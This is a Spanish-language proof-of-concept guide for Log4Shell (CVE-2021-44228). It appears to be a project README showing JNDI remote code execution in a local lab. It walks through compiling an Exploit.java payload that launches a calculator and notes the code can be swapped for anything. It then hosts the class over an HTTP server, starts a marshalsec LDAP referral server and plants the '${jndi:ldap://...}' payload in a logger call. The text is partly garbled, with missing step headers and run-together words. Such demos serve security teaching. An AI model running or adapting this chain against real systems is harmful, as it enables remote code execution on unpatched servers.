
Prueba de concepto para Log4Shell (CVE-2021-44228) que demuestra la ejecución remota de código basada en JNDI a través de servidores LDAP y HTTP.
Exploit.java a una carpeta diferente. Como en mi caso, he creado una carpeta rce dentro del directorio home. /home/coldfusionx/rce
Exploit.java
Aquí puedes cambiar el código remoto a lo que quieras, en este caso esto abriría en una máquina ubuntu.gnome-calculator
Exploit.java usando el comando javac Exploit.java, una vez compilado correctamente deberíamos ver que se crea un nuevo archivo Exploit.class.
Exploit.class usando python3 -m http.server 8888, alternativamente también puedes usar un servidor php con el comando php -S 127.0.0.1:8888.

Add Configuration
1. Seleccionar `Application`

2. Seleccionar la clase principal

3. Seleccionar el JDK y aplicar.

4. Deberías ver la Aplicación Log4j creada, lista para ejecutarse.

marshasecjava -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://127.0.0.1:8888/#Exploit" para iniciar el servidor LDAP, aquí 127.0.0.1:8888 es el servidor python que aloja Exploit.class, por lo tanto especificamos /#Exploit
Paso 9 : Editar el payload JNDI en log4j.java según tu requisito, logger.error("${jndi:ldap://127.0.0.1:1389/Exploit}");
En este caso estamos cargando la clase remota Exploit, el servidor referrer LDAP redirigirá la solicitud a nuestro servidor python que aloja la clase maliciosa Exploit.
Paso 10 : Ejecutar Log4j, En una ejecución exitosa deberías ver una calculadora gnome aparecer.
